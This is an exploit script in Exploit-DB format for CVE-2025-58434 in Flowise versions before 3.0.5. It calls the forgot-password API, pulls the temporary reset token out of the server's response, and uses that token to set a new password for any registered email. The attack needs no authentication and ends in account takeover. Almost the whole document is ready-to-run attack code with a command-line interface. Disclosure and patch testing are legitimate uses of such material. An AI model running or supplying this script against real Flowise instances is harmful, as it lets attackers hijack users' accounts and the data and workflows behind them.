📄 Flowise Missing Authentication

# Exploit Title: Flowise < 3.0.5 - Missing Authentication for Critical Function
    # Date: 10/11/2025
    # Exploit Author: [nltt0] (https://github.com/nltt-br))
    # Vendor Homepage: https://flowiseai.com/
    # Software Link: https://github.com/FlowiseAI/Flowise
    # Version: < 3.0.5
    # CVE: CVE-2025-58434
    
    from requests import post 
    from argparse import ArgumentParser
    
    banner = r"""
    _____       _                              _____ 
    /  __ \     | |                            /  ___|
    | /  \/ __ _| | __ _ _ __   __ _  ___  ___ \ `--. 
    | |    / _` | |/ _` | '_ \ / _` |/ _ \/ __| `--. \
    | \__/\ (_| | | (_| | | | | (_| | (_) \__ \/\__/ /
    \____/\__,_|_|\__,_|_| |_|\__, |\___/|___/\____/ 
                                __/ |                 
                              |___/                  
                    
                    by nltt0
    """
    
    print(banner)
    
    try:
        parser = ArgumentParser(description='CVE-2025-58434 [FlowiseAI < 3.0.5]', usage="python CVE-2025-58434.py --email xtz@local --newpassword Test@2025 --url http://localhost:3000")
        parser.add_argument('-e', '--email', required=True, help='Registered email')
        parser.add_argument('-p', '--newpassword', required=True)
        parser.add_argument('-u', '--url', required=True)
    
        args = parser.parse_args()
        email = args.email
        password = args.newpassword
        url = args.url
        
        headers = {
            'Content-Type': 'application/json'
        }
    
        data = {
            'user': {'email': email}
        }
    
        url_format1 = '{}/api/v1/account/forgot-password'.format(url)
        req = post(url_format1, headers=headers, json=data)
    
        if req.status_code == 201:
            req_json = req.json()
            temp_token = req_json['user']['tempToken']
    
            data = {
                'user': {'email': email,
                        'tempToken': temp_token,
                        "password": password
                        }
            }
            url_format2 = '{}/api/v1/account/reset-password'.format(url)
            req = post(url_format2, headers=headers, json=data)
            print('[x] Password changed')
        
        else:
            print('[x] Unregistered user')
    
    except Exception as e:
        print('Error in {}'.format(e))